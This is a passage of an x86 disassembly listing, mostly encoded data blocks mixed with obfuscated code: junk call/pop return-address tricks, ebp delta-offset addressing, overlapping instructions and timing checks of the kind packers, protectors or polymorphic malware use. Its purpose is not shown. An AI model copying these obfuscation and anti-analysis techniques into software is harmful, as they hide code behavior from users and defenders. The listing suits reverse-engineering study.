		dd 89000005h, 0D11AF19Dh, 0D1858905h, 6A05D11Dh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0E920C350h, 12h, 0F05AF32Eh,	0B6579D3Bh, 0A21D3FB9h
		dd 0D7420EDFh, 8FE89563h, 0F000005h, 8D0FC9BFh,	6, 890Fh
		dd 85890000h, 5D114A9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 65C35646h, 31660EFBh,	53E80293h, 89000005h
		dd 0D11B1595h, 0C5858905h, 6A05D132h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 6206C357h
		dd 0E68EFD52h, 2B7841E7h, 0D118C98Dh, 518E805h,	0B9660000h
		dd 85898990h, 5D11BA9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 12C35242h, 0EBE8E7F7h, 8A000004h, 918589CAh
		dd 0BF05D11Fh, 51EF2CD0h, 4D9E8h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8947DF71h
		dd 0D106D985h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 0D1719CB9h, 0B589CBCAh
		dd 5D11675h, 68C0Fh, 0B5090000h, 5D10121h, 47DE8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 5EDC9724h, 457ED5C2h, 8D89925Ah, 5D10689h, 8589F98Bh
		dd 5D109E5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 18h,	0E8C35242h, 6BD9DF23h, 21B59D89h, 0B58B05D1h, 5D1180Dh
		dd 419E8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 386A9907h, 8589A9C3h, 5D11929h, 3049BD8Bh
		dd 0B005D1h, 1890Fh, 0F5FC0000h, 0E9D8B60Fh, 13h, 0C4B9ADECh
		dd 11166131h, 219D75EEh, 0B95670E1h, 0BAC7691Fh, 6, 0F8EEC781h
		dd 0EF8168B6h, 3519004Bh, 9529C38Bh, 5D1277Dh, 6A04E8C1h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 6309C356h, 0B798B927h, 13E92B82h,	52000000h
		dd 0E1970F71h, 5BB36C0Eh, 0EBE9C982h, 0CF33CE18h, 0F7662E6Fh
		dd 51006AE2h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 9DE03B35h, 6AD82Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 529B5FC3h, 935E5F52h
		dd 7E8h, 486F9900h, 4FD4C9D7h, 5F53BF66h, 0E951505Fh, 0Eh
		dd 72C4E4F2h, 37B66D52h, 4CAA0DF5h, 935FF55Bh, 12E9h, 0B4D3CB00h
		dd 0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h, 0FF82B4ABh, 0D1268595h
		dd 91B58B05h, 5B05D112h, 12E5BD89h, 958D05D1h, 5D119CDh
		dd 4880Fh, 0BF660000h, 1A89268Ch, 4289F18Bh, 0AE904h, 0D6170000h
		dd 0B62E66F5h, 0B7CC7C72h, 0AD5958Dh, 0B50305D1h, 5D10215h
		dd 0F78B5657h, 1A895F5Eh, 0B9B58Bh, 428905D1h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 44471557h, 21D71005h, 1585899Bh, 8D05D100h, 0D1328595h
		dd 6A1A8905h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0E40EC355h, 1B860Fh, 8D0F0000h
		dd 15h,	10E9h, 77CE9400h, 0CACFE8E2h, 2EB20379h, 8496AC0Ah
		dd 958D8B3Dh, 6605D11Fh, 89F662BFh, 0CE90442h, 80000000h
		dd 998FFC62h, 90989B62h, 8DE5BFB3h, 0D11B1995h,	57006A05h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 1A89537Dh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0EFC35141h, 31198D89h, 428905D1h, 56006A04h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 9BFACB3Eh, 0BCD1EBB0h, 0B58B9D3Dh, 5D12715h,	2781958Dh
		dd 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 92E231C3h, 59858944h, 6005D12Ah, 0F7AD080h
		dd 8961DEBFh, 57006A1Ah, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 38009690h, 303A3C59h, 2360038Eh
		dd 0D10121B5h, 5E905h, 0F2160000h, 611E094Bh, 29044289h
		dd 0D116F985h, 51958D05h, 6A05D120h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0C784C356h
		dd 7AB9664Bh, 89F28BFBh, 8BFE8B1Ah, 0D11B0DBDh,	4428905h
		dd 88F0Fh, 0F530000h, 89h, 958D5F00h, 5D12DD5h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 10C35343h, 0AFD17C6Dh
		dd 4A7DA828h, 0F18B66F1h, 6A1A89h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0A7B398C3h, 0E01BD07Fh
		dd 6E9h, 0D0C50A00h, 8984E8A1h,	0B5890442h, 5D10B55h, 27CD958Dh
		dd 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 1ACD6BC3h, 12E9h
		dd 2357A000h, 0B0198F7Ch, 0FDC76D9h, 0A22C7748h, 89ED3198h
		dd 442891Ah, 1F870Fh, 13E80000h, 0E4000000h, 3A5C45F0h
		dd 0F1994CD0h, 0CCBC4AF6h, 5951A077h, 0E1819A6Bh, 413D3459h
		dd 0E9EE8A5Fh, 0DBh, 31959D89h,	6A05D1h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 9C35343h, 332EDA90h
		dd 0D12D75BDh, 6A006A05h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0EDD2C351h,	6A006AE7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0C407C357h, 43E78877h, 0BD8B60D9h, 5D11DB5h
		dd 0AED18166h, 6A610Ch,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 18h, 0F7C35242h, 4033D997h, 0F7595FFh, 0B96605D1h
		dd 6AC35DACh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 7267C351h, 2AF47A43h, 891EFF9Eh
		dd 0D1208185h, 419D8905h, 8A05D12Ah, 52006AC5h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 81DD5202h
		dd 959D89BFh, 8B05D11Eh, 71BD83C0h, 5D116h, 0BD830975h
		dd 5D1121Dh, 50197400h,	0B8C08B53h, 438h, 102D8589h, 9D8D05D1h
		dd 5D3A234h, 585BD3FFh,	121DBD83h, 740005D1h, 0B8535017h
		dd 438h, 102D8589h, 9D8D05D1h, 5D39ED5h, 585BD3FFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 13C35242h, 733905BFh
		dd 81661C19h, 66F16AE1h, 0F781CE8Bh, 64725290h,	1E4DBD8Bh
		dd 0C08B05D1h, 68D858Dh, 53BF05D1h, 901E89FFh, 8B50AEB3h
		dd 0B58990FEh, 5D11581h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 0BABC18C3h, 0E88488EEh
		dd 5, 36599269h, 6A5F34h, 68C0Fh, 0BD090000h, 5D119F5h
		dd 0C7F858Dh, 6A05D5h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 833E66C3h, 6A05C0h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0B31804C3h
		dd 0EE99056h, 29000000h, 0B60D4991h, 0F0F88E97h, 7EEB9789h
		dd 13E85083h, 61000000h, 5281C675h, 0B173519Ah,	78FDAC27h
		dd 97565687h, 8C0F552Eh, 4, 3D75BB66h, 6A905Fh,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 51D9A5C3h, 1BCA01B0h, 8098EF72h, 6A4DF7h, 0AE19589h
		dd 6A05D1h, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 15h,	0AAC35747h, 10E8BEh, 33F90000h,	26635260h, 1E45FAD5h
		dd 0DACEC152h, 9D31147Ch, 5D12159h, 0F0EF805Bh,	1B3995FFh
		dd 0BD8905D1h, 5D1016Dh, 81CF8D8Dh, 6A05D4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0E3C483C3h
		dd 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 1FBB8BC3h, 2FB26A7Bh, 9D89EF92h, 5D11B15h
		dd 20E9BD83h, 0F0105D1h, 9E85h,	259D2B00h, 6A05D130h, 55006A02h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 50D0AE2Bh, 900DABD3h, 5050F55Eh, 0FDA8B52h, 5E536031h
		dd 6E8h, 3174E800h, 5BBF4431h, 89585A61h, 6A2404h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 8DCB97C3h, 31CE9A61h, 0D124E1B5h, 0F595FF05h, 6A05D131h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 9ABC357h,	917488BEh, 236EF5EEh, 0E9DA8BF5h
		dd 0E2Ch, 0E8h,	0ED815D00h, 5D50C89h, 75852B60h, 0F05D113h
		dd 282h, 6181B200h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 49C35141h, 0D9D03EFh,	8D05D117h, 0D472B185h
		dd 13E805h, 0BF4C0000h,	8C0D6FC4h, 0BF10BDAFh, 272ED978h
		dd 0C93E9943h, 51B5019Dh, 5F05D101h, 1A58D781h,	0E950071Fh
		dd 9, 134EB9F7h, 13389AC3h, 24048905h, 6F1BD8Bh, 0FF6405D1h
		dd 35h,	55006A00h, 3E8h, 0C35D2000h, 246C895Dh,	24448104h
		dd 1904h, 0C3554500h, 216A046h,	9D0B77A8h, 5D12409h, 78C0Fh
		dd 880F0000h, 1, 258964F8h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5AAB7B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AAB7B	proc near		; CODE XREF: ud2_____:005AAB73p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5AAB7B	endp

; ---------------------------------------------------------------------------
		mov	byte ptr [edx-2Bh], 6
		stosd
		pusha
		mov	dx, ax
		jnp	loc_5AABA0
		jl	$+6


loc_5AABA0:				; CODE XREF: ud2_____:005AAB94j
		popa
		mov	ebx, 14259020h
		inc	dword ptr [ebp+5D12719h]
		mov	bl, 0A5h
		push	0FFFFFFFFh
		push	dword ptr [ebp+5D120D9h]
		call	dword ptr [ebp+5D11279h]
		jmp	loc_5AAD22
; ---------------------------------------------------------------------------
		db 0Fh,	0B7h, 0F8h
		dd 0BD0100B0h, 5D11759h, 0F59D8B60h, 105D110h, 0D124C18Dh
		dd 70E66105h, 0C800Fh, 0BA600000h, 70F2540Ch, 0B5A6A5B8h
		dd 71E46165h, 11E8h, 0E754AB00h, 552BB12Fh, 59C8D9Ch, 93BB7F78h
		dd 8B669CCCh, 8D315BF9h, 5D11405h, 830F613Ch, 10Ah, 9698D29h
		dd 0B60F05D1h, 0E78166C8h, 6BA9097h, 0E9000000h, 14h, 24064432h
		dd 0CF9952C6h, 6B2E95F5h, 0FC08AFB1h, 7A7A61EDh, 0E381C18Bh
		dd 5AAAE7C4h, 8904E8C1h, 0D10065BDh, 0E2F76605h, 0EB3EC4BBh
		dd 0FC82B70h, 0E8Fh, 8D896000h,	5D10009h, 1D899D8Bh, 8B6105D1h
		dd 4E9D1h, 0BF660000h, 858B8E80h, 5D119CDh, 9E860h, 8ADA0000h
		dd 2A7E60EFh, 0E8CE5F80h, 0Ch, 2BDBCBC5h, 0B449B627h, 1165E858h
		dd 800F5A58h, 6, 25818589h, 836105D1h, 896007C0h, 0D12B0D85h
		dd 615BB005h, 8900C083h, 0D10241BDh, 0FD03B05h,	1E83h
		dd 13870F00h, 0E9000000h, 0Eh, 0B3B10777h, 5E13C8Eh, 131E94EBh
		dd 33E93CD3h, 8B000000h, 0D10C858Dh, 6BB6605h, 1E18362h
		dd 20840Fh, 0F3810000h,	1C24EE38h, 0C85A583h, 8BFE05D1h
		dd 0CD9589F9h, 8B05D119h, 0D11BB5BDh, 0E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AAD22:				; CODE XREF: ud2_____:005AABBCj
		lea	esi, [ebp+5D49937h]
		call	near ptr loc_5AAD39+1
		xchg	eax, [esi+790B91FBh]
		bound	edi, [ebx-136788ACh]


loc_5AAD39:				; CODE XREF: ud2_____:005AAD28p
		add	[di+3109h], esi
		rol	dword ptr ds:6A006A5Bh,	1
		add	[esi-18h], dl
		add	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 20h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 15h
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dw 0A08Fh
; ---------------------------------------------------------------------------
		mov	[ebp+5D109E1h],	edx
		mov	ebx, [ebp+5D13141h]
		push	ecx
		jmp	loc_5AAD7E
; ---------------------------------------------------------------------------
		dw 231h
		dd 934B8C69h, 4526539Ch
		db 72h,	0E9h
; ---------------------------------------------------------------------------


loc_5AAD7E:				; CODE XREF: ud2_____:005AAD6Dj
		pop	ebx
		call	dword ptr [ebp+5D12459h]
		push	0
		push	ebx
		call	sub_5AAD90
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AAD90	proc near		; CODE XREF: ud2_____:005AAD88p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_5AAD90	endp

; ---------------------------------------------------------------------------
		dd 5C0BAE34h, 0BE9C0h, 0F23A0000h, 3EAEDE7h, 603BB5D5h
		dd 80EB9CAh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0F2EC95C3h, 9537D659h, 894A6968h
		dd 0D10849B5h, 0FCE18305h, 0E693EB81h, 0FFC2CE5h, 683h
		dd 0DCC38100h, 0F7E4CFBh, 586h,	0F6D8BF00h, 0C02B26A1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0C35040h
		dd 0ADF8D22Bh, 0E8D1C233h, 0E983D003h, 89F47504h, 0D11F8195h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0CBF99356h, 0E884235Fh, 0C58501D1h, 0D05D10Eh
		dd 88h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 8DC35646h, 9D039A32h, 5D10B01h, 1D01B589h, 958B05D1h
		dd 5D11021h, 0EDB8166h,	98D8B18h, 6A05D11Ch, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 0C0DFC357h, 8B666025h, 11E8C3h, 6C2F0000h, 52B2FFE2h
		dd 0B7208FADh, 0BAA1B2FCh, 0BBE0B491h, 0C97B951h, 8B506158h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 328DBD89h
		dd 6A05D1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0D18EEEC3h, 530E1EC9h, 271D8D89h,	8D3105D1h
		dd 5D11E7Dh, 49BD83h, 0F0005D1h, 4884h,	0B8F900h, 66000000h
		dd 4E07DB81h, 4CBD8D8Dh, 6A05D1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 90591C3h, 0D10C7D8Dh
		dd 0A1BF6005h, 661225D3h, 42EAE681h, 31E1FF61h,	0D10605BDh
		dd 79BD8305h, 5D106h, 4F1840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 408742C3h
		dd 0AB01F36Bh, 679BD83h, 0F0105D1h, 4DD84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0C8805DE2h, 699D89B1h, 8305D11Dh, 0D10679BDh, 860F0305h
		dd 474h, 68E0Fh, 0BD8B0000h, 5D11425h, 8C66F860h, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8C57034Ch, 806DB199h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0EA599EC3h, 15B3C6B7h
		dd 6E9092Bh, 70000000h,	0D677D216h, 0FC90A95h, 15884h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0A6A32B77h, 9D89F75Bh, 5D121C9h,	1731858Bh
		dd 0BF0F05D1h, 718533DFh, 6A05D10Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 7E11C353h
		dd 0A7C73069h, 8938F183h, 0D125C5B5h, 0FEBF0F05h, 0EE950h
		dd 0F90C0000h, 5C17EBDEh, 0E856912Ch, 29C2AAE3h, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 1321C352h, 59B84EFCh, 19D2B60h, 8B05D111h
		dd 0D11E3595h, 86BB6105h, 6A014974h, 0A8BB6600h, 4E8A4h
		dd 3FF0000h, 0F60001Fh,	689h, 8F0F00h, 0B1000000h, 5050615Bh
		dd 5FD88B66h, 424448Bh,	310F5250h, 0DE9h, 4B13F600h, 931CD428h
		dd 5958FB5Fh, 585AE61Ch, 0BB66008Bh, 4489B505h,	0FB8B0424h
		dd 50006A58h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 0FF9208C5h, 0D1111D95h, 0F9B70F05h, 0FCB224BFh
		dd 1385892Bh, 0E805D483h, 7, 0B578AB60h, 0FEEC460h, 0F5FFEBFh
		dd 1EE9FEB7h, 89000002h, 0D13201BDh, 6830F05h, 33000000h
		dd 0D13161BDh, 0B858B05h, 6A05D483h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4407C351h
		dd 23F7845h, 0B5B501F7h, 0C705D119h, 1800h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 29BD8BB6h, 8B05D118h, 0D4830FB5h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0BE4570Bh
		dd 7E036562h, 8BFC216Bh, 0D122A985h, 859D8B05h,	8B05D111h
		dd 0D11759BDh, 6A068905h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0D837C352h,	0DA0CF444h
		dd 28413722h, 8BF8B70Fh, 0D11E31BDh, 31858B05h,	6A05D117h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 18D5C357h, 0F4D9E88h, 681h, 25B58900h, 6005D11Ch
		dd 151DBD31h, 9ABE05D1h, 61382679h, 96044689h, 0F525053h
		dd 0F98B6631h, 505F585Ah, 184BB7BBh, 9D09960Ch,	5D12ABDh
		dd 830BB5FFh, 0BF6605D4h, 0A7682442h, 81782EB2h, 0B1582434h
		dd 6A7831h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0BAA2C6C3h, 0B8EB8166h, 13858DA7h, 6A05D483h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 1100C356h, 0DFD04310h, 9447F381h,	860F0C47h
		dd 6, 2A459D29h, 0B79005D1h, 66605051h,	0BB0F2FBFh, 508FAB63h
		dd 6A9061h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0DB2F31C3h, 0F3F39DBFh, 11E97609h, 9F000000h
		dd 12739CB3h, 2CF574BCh, 0ACE78B98h, 6FE55FBDh,	111D95FFh
		dd 6A05D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h
		dd 51410000h, 8564C3C3h, 1ABE8BA1h, 898678C6h, 0D106E1B5h
		dd 85C76105h, 5D10679h,	3, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 8C35646h, 1AD93C26h, 0DCE8BF67h, 958954FBh
		dd 5D11019h, 8313BD83h,	0F0005D4h, 5F84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 23CAB93Bh, 0AFE47B01h, 0A1B50105h, 0E905D109h, 4Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9AC35343h
		dd 8756B42h, 0B2211CA2h, 0FB8B66D4h, 0BFDF8B66h, 29A5B92Bh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0BBD0C350h, 0BB6604E2h, 0BD834D85h, 5D10679h
		dd 0A2850F03h, 8B000003h, 13BD83D8h, 5D483h, 393840Fh
		dd 95090000h, 5D10D61h,	0FFD88B66h, 0D48313B5h,	53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 9AB44394h, 7684D123h, 0F8B70FD1h, 2FD95FFh, 852905D1h
		dd 5D108C9h, 8307B58Bh,	816605D4h, 0C7D0A9C3h, 1000106h
		dd 98BF6600h, 21BF9676h, 50793C7Fh, 310F5250h, 14EACEBFh
		dd 96585A72h, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	28C35747h, 211BEF4Bh, 606DACF7h, 8313B5FFh, 6A05D4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 5C7405C3h, 95FF655Bh, 5D10681h, 1999BD8Bh, 0B58B05D1h
		dd 5D48307h, 17D19D89h,	858B05D1h, 5D11791h, 9680CB81h
		dd 952977D2h, 5D12625h,	0C48689h, 85890000h, 5D10C8Dh
		dd 1021958Bh, 6A05D1h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 629A0DC3h, 69A6111Eh, 0F8AAD0C8h
		dd 8904C283h, 0D109CD9Dh, 20508905h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 8EC35646h, 6AE6DB18h, 4D9509FFh
		dd 8D05D124h, 0D4963185h, 35B58905h, 8905D11Bh,	0B886h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BD0B3B6Dh, 5D11D19h, 6ADE8B66h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 14F5CC9Ah, 0B589EF66h, 5D11E71h, 8313B5FFh, 6A05D4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0EB9A6CC3h, 60B05A33h, 28C68166h, 0F3816619h, 0FF61FC06h
		dd 0D131F595h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 7A3ACEE1h, 0A10FAB65h
		dd 7E9h, 62880C00h, 2DFF0374h, 89FE8B50h, 9D892434h, 5D10EE1h
		dd 0B5FFF88Bh, 5D48313h, 2D51B589h, 95FF05D1h, 5D102D5h
		dd 0C499D23h, 0BD8305D1h, 5D11F7Dh, 3B840F00h, 96000000h
		dd 4870Fh, 0BB660000h, 9650FF55h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 37C35242h, 3870C3B1h, 0BD8B0229h
		dd 5D11441h, 0C9B529h, 0B5FF05D1h, 5D48313h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9C35242h, 0B70FBCA3h
		dd 0FE8DBh, 88C60000h, 0FFB6A56Ch, 17444926h, 0A2C1DEAFh
		dd 68C0F5Bh, 0F000000h,	8Dh, 95FF5B00h,	5D11359h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0F1C35545h, 8C385D4Ah
		dd 0D8E3F668h, 13B5FF60h, 0F05D483h, 68Bh, 0E19D8B00h
		dd 0FF05D125h, 0D11D3995h, 55006A05h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0B449B627h
		dd 0BD03E858h, 5D11185h, 6E9h, 3AB21700h, 0B7D092D6h, 0DBD8385h
		dd 205D107h, 37840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 9D8BEAC3h, 5D1318Dh
		dd 17A5858Bh, 820F05D1h, 6, 1171BD89h, 0C605D1h, 5585C700h
		dd 5D11Fh, 81000000h, 69799CF7h, 0F324E978h, 6AFFFFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0AE829EC3h, 6AC18BC9h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 0ACEC351h, 0B2793B4Ch
		dd 6820Fh, 0CB810000h, 57FD0D6Ah, 68D858Dh, 0BD8B05D1h
		dd 5D116DDh, 23918D89h,	0E85005D1h, 12h, 0A2015813h, 0B021EA1Bh
		dd 0EFFFB531h, 0B1C06BCFh, 5E96116h, 5C000000h,	0ABA0D127h
		dd 2404895Bh, 11858589h, 6A05D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 0B3C35545h,	6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 56E9CAC3h, 0F6A22A30h, 0F7858D05h, 8B05D51Ch, 0D12689BDh
		dd 5C08305h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	44C35343h, 18BD67A9h, 9D89FCE0h, 5D11369h, 3860Fh
		dd 0BF0F0000h, 0DA8A50F9h, 6A240489h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 8D1DC357h
		dd 1A5163F3h, 0B5BB666Fh, 8E927h, 84B0000h, 24AFDDA8h
		dd 6AEF19h, 0E855006Ah,	3, 5DC35D20h, 4246C89h,	4244481h
		dd 14h,	16C35545h, 60006AF5h, 155DB529h, 0FF6105D1h, 0D11B3995h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0BE761B4Eh, 8DB4ADFh, 1D019589h,	8D8D05D1h
		dd 5D481CFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	44C35545h, 10860F7Bh, 0E9000000h, 0Bh, 0ED392774h
		dd 0CD7180FCh, 0FFC69C38h, 0BD83F9D1h, 5D120E9h, 0AC850F01h
		dd 0F000000h, 683h, 0F5858900h,	6A05D10Ch, 57006A02h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
		dd 0BD0BAAE7h, 5D10D0Dh, 30EDBD8Bh, 0BD3305D1h,	5D117B5h
		dd 53525090h, 8E9h, 0F3239C00h,	4EA252B9h, 310F5B46h, 23E91BBFh
		dd 50585A28h, 32C8BF66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 8EE42CE1h, 0FFFE8B66h
		dd 0D131F595h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 4BCB5538h, 669C3A60h
		dd 0E906D0BFh, 0E80h, 0E8h, 0ED815D00h,	5D51D01h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E9C35343h, 245D9E98h
		dd 471BC5D7h, 8D893BB7h, 5D10925h, 72B1858Dh, 6A05D4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 9AB839C3h, 2AE11BAFh, 0FE8BDCF9h, 0E2C0BF66h, 8E950h
		dd 0C030000h, 6DC96EBBh, 48965DBh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 19C7F25Ah
